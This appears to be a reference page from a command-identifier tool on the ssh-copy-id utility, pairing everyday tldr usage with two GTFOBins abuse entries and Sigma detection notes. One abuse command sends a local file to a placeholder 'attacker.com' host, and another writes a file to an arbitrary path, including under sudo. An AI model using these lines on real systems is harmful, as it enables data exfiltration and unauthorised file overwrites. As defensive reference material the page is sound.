Identifier / Programs / Linux and Unix
ssh-copy-id
Install your public key in a remote machine's authorized_keys. tldr-pages
GTFOBins file-read, file-write 2 documented commands
How ssh-copy-id is abused
file-read
-f-ifile-write
-f-i-tEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ssh-copy-id.
2 documented commands
file-read unprivileged, with sudo
The input file must have the .pub file extension. The file will be copied to ~/.ssh/authorized_keys, otherwise the -t /path/to/output-file option can be used.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.comfile-write unprivileged, with sudo
The input file must have the .pub file extension.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@hostNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ssh-copy-id. The identifier reads the line of each that runs ssh-copy-id.
Everyday use
Copy your keys to the remote machine
ssh-copy-id username@remote_hostIdentifyCopy the given public key to the remote
ssh-copy-id -i path/to/certificate username@remote_hostIdentifyCopy the given public key to the remote with specific port
ssh-copy-id -i path/to/certificate -p port username@remote_hostIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.